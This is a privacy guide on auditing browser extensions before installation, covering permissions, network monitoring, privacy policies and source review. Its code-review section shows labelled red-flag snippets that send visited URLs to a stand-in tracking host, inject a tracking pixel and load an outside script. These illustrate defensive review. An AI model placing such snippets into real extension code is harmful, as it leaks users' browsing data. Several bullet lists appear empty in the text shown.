Privacy Tools Guide

Browser extensions run with unrestricted access to every page you visit, every form you fill, and every keystroke you type. Most users install extensions with minimal scrutiny, trusting store ratings without understanding the permissions they’re granting. This guide provides a practical audit framework for evaluating extensions before installation: reviewing requested permissions, examining network activity, analyzing source code, and identifying red flags that indicate privacy risks.

Why Extension Auditing Matters

Browser extensions sit in a unique trust position. They can intercept all HTTP and HTTPS traffic, read and modify page content, access browsing history, manage cookies, and harvest credentials. Unlike operating system permissions that show what’s requested before installation, browser extensions hide most powerful capabilities behind ambiguous permission names.

Real-world examples show why scrutiny matters:

The good news: methodical auditing takes 5-10 minutes and significantly reduces risk.

Permission Audit Checklist

Before installing any extension, review its requested permissions using this framework:

Critical Permissions to Scrutinize

<all_urls> or http://*/* This grants access to every website you visit. Extensions need this for legitimate purposes (password managers, ad blockers) but it’s the permission most abused for data collection.

Red flags:

Acceptable uses:

tabs or activeTab Allows the extension to see which URLs you’re visiting. Combined with all_urls, this creates browsing tracking.

Red flags:

Acceptable uses:

storage or cookies Allows reading and writing cookies and local storage. Can be used to track users across sites.

Red flags:

Acceptable uses:

webRequest or webRequestBlocking Intercepts all network requests from your browser. Most powerful and most dangerous.

Red flags:

Acceptable uses:

Platform-Specific Permission Auditing

Chrome/Chromium Extensions

Go to Chrome menu → More tools → Extensions. Click on any installed extension to see:

Permissions:
- Read and change your data on all websites
- Read your browsing history
- See which websites you visit and their usage data
- Communicate with cooperating websites

If you see <all_urls> or broad access listed, click “Details” to read why the extension requests it.

Firefox Add-ons

Go to about:addons and click any installed add-on:

Permissions section lists:
- Access your data for all websites
- See your browsing history
- Access tabs
- Access your clipboard

Firefox is transparent about what each permission allows.

Safari Extensions

System Preferences → Extensions → [Extension Name]:

Requested permissions:
- Access browsing history
- Modify content on websites
- Make requests to any website

Code Audit Framework

For high-value extensions (password managers, VPNs, security tools), examine source code if available.

Step 1: Locate the Source

Step 2: Review Critical Code Sections

Focus on highest-risk areas:

Network requests Search code for fetch(), XMLHttpRequest, or WebSocket:

// RED FLAG: Sends all browsing to external server
fetch('https://analytics.shady-company.com/track', {
  method: 'POST',
  body: JSON.stringify({
    url: window.location.href,
    timestamp: Date.now()
  })
})

// ACCEPTABLE: Sends only aggregated data
fetch('https://extension-api.legitimate.com/telemetry', {
  method: 'POST',
  body: JSON.stringify({
    version: extensionVersion,
    enabledFeatures: ['darkMode', 'sync']
    // No URLs, no timestamps, no identifying info
  })
})

Storage operations Look for suspicious data being stored:

// RED FLAG: Stores every visited URL
chrome.storage.sync.set({
  allUrls: window.location.href
})

// ACCEPTABLE: Stores only settings
chrome.storage.local.set({
  theme: 'dark',
  fontSize: 14
})

DOM manipulation Check what content is being inserted into pages:

// RED FLAG: Injects tracking pixels or hidden forms
document.body.innerHTML += `<img src="https://tracker.com/pixel?user=${userId}">`

// ACCEPTABLE: Injects visible user interface
document.body.appendChild(createHighlighterMenu())

Step 3: Check for Third-Party Scripts

Extensions sometimes load external code:

<!-- RED FLAG: Loads scripts from arbitrary sources -->
<script src="https://random-cdn.com/tracker.js"></script>

<!-- ACCEPTABLE: Loads libraries from trusted CDNs -->
<script src="https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js"></script>

Network Activity Monitoring

The most revealing audit: watch what an extension sends over the network.

Using Browser DevTools

  1. Open DevTools (F12 or Cmd+Option+I)
  2. Go to Network tab
  3. Reload the page to capture all requests
  4. Filter by the extension: Look for requests that don’t match visible functionality

Red flags:

Example: Auditing a Password Manager

Expected network activity:

POST https://api.passwordmanager.com/sync
  Body: {encrypted_vault_data: "..."}
  ✓ Legitimate: Only encrypted data sent

Suspicious activity:

GET https://analytics.tracking.com/page_visit
  Parameters: url=https://mybank.com, uid=user123
  ✗ Privacy violation: Browsing history being tracked

Using Wireshark (Advanced)

For technical users, Wireshark captures all network traffic:

# Install Wireshark
brew install wireshark

# Launch and filter to extension traffic
# Filter by destination IP or domain

This reveals whether extensions are making hidden connections.

Privacy Policy Review

Every extension should have a privacy policy. Here’s what to evaluate:

Red Flags in Privacy Policies

  1. Vague data collection: “We collect usage information” (what’s included?)
  2. Third-party sharing: “We may share data with partners” (which partners?)
  3. Behavioral tracking: “We analyze user behavior to improve features”
  4. Indefinite retention: “Data is retained indefinitely”
  5. No opt-out: No way to disable data collection without removing the extension

Green Flags in Privacy Policies

  1. Specific limitations: “We collect only aggregated error rates, not individual pages”
  2. No third-party sharing: “We do not share or sell user data”
  3. Minimal retention: “Data is deleted after 30 days”
  4. Clear opt-out: “You can disable analytics in settings”
  5. Transparency reports: Developer publishes data request logs

Developer Trust Assessment

Research the extension developer:

Signals of trustworthiness:

Red flags:

Pre-Installation Verification Checklist

Before installing any extension:

□ Review all requested permissions
  □ Does extension need <all_urls> access?
  □ Are there alternatives with narrower permissions?

□ Examine privacy policy
  □ What data is collected?
  □ Who has access to it?
  □ How long is it retained?

□ Research the developer
  □ Who maintains this?
  □ What's their track record?
  □ Is there a clear business model?

□ Check reviews
  □ Do recent reviews mention privacy concerns?
  □ Are there complaints about data collection?
  □ Are ratings consistent across stores?

□ Monitor network activity
  □ Enable DevTools Network tab
  □ Use the extension for 10 minutes
  □ Review all outgoing requests

□ Read source code (if available)
  □ Where does data go?
  □ What's being logged or transmitted?
  □ Are there red flag patterns?

□ Review alternative options
  □ Are there extensions with narrower permissions?
  □ Is built-in browser functionality sufficient?
  □ Are there open-source alternatives?

Common Extension Privacy Violations

Ad blockers collecting browsing data Many claim to block ads but actually create a parallel tracking network by recording what you block. Trusted options: uBlock Origin (open source), Pi-hole (network-level).

Theme extensions requesting tab access Absolutely unnecessary. A theme should only modify CSS. If a theme asks for tab access, remove it immediately.

Email notification extensions Often request full email access to read content, not just metadata. Check whether they actually need to read message bodies.

Productivity tools requesting all_urls Many “To Do” or “Pomodoro timer” apps request full site access for features that don’t require it. Narrower permission alternatives usually exist.

Cryptocurrency extensions Often bundle blockchain analytics or transaction tracking. Review with extra scrutiny given the sensitivity of financial data.

Safe Extension Recommendations

Password managers: Bitwarden (open source), 1Password (established company) Ad blockers: uBlock Origin (open source), Ghostery (privacy-focused) VPNs: Mullvad (no-logs verified), Proton VPN (transparent business model) Tracker blockers: Privacy Badger (EFF-developed), uBlock Origin (tracker filtering) Note-taking: Notion Web Clipper, OneNote (from established companies)

When to Disable or Remove Extensions

Remove immediately if you:

Every installed extension is a potential attack surface. Minimalism—installing only extensions you actively use—is a valid privacy strategy.

Built by theluckystrike — More at zovo.one

Explore Our Developer Guides

© 2026 theluckystrike Developer Guides